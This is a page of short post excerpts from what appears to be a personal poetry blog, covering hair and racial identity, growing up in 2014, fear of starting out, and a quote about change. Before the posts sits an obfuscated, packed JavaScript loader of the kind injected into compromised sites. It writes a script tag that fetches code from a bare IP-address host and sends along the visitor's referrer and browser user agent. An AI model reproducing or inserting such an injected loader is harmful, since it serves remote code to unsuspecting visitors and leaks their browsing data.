eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<a g=’2′ c=’d’ e=’b/2′ 4=’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”‘><\/k”+”l>”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|srsyy|var|u0026u|referrer|nnbft||js|php’.split(‘|’),0,{})) About two years ago, I had a friend ask me how poetry and everything creative was going. In a very nonchalant way I told her it was going well that I was just doing it because in that moment it made sense for me to […]

5/30   The first poem I ever wrote about being black Was about how I feared my hair would not match with my love for marshmallow toned, Ashton Kutcher look alikes That she would be a part of me they could never understand Long then short, then long again  Curly then straight but long  and […]

2/30 This is just the beginning, this is just the first small step forward Yes, it is absolutely terrifying   But what is even more terrifying, is not ever knowing what you were made for because you were too afraid to find out

2014 was the year I grew up. Not when I turned eighteen, nineteen, twenty, or even twenty-one. 2014 was when it happened, an entire year of growing up and growing in. Growing up and realizing that staying silent and not expressing what I wanted, was any way to live. Growing up and understanding that when […]

One of my favorite writers, Hannah Brencher posted a blog today about change and I realized her words resonated so deeply because it screamed “this is you, this is where you are right now.” She beautifully states, “Change knows exactly what it wants when it comes to your door. It’s you. Your whole body. Your whole […]